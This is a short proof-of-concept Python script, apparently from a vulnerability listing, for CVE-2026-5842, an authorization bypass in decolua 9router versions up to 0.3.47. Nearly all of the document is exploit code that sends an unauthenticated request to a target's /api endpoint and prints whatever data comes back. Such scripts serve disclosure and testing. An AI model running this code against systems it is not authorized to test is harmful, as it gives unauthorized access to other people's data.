CVE-2026-5842 decolua 9router授权绕过漏洞

import requests # PoC for CVE-2026-5842: Authorization Bypass in decolua 9router # Affected versions: <= 0.3.47 # Description: This script demonstrates unauthorized access to the /api endpoint. target_url = "http://target-ip:port/api" headers = { "User-Agent": "CVE-2026-5842-Scanner", "Content-Type": "application/json" } try: # Send request without authentication headers response = requests.get(target_url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Response from /api:") print(response.text) else: print(f"[-] Target may not be vulnerable. Status code: {response.status_code}") except Exception as e: print(f"[!] Error connecting to target: {e}")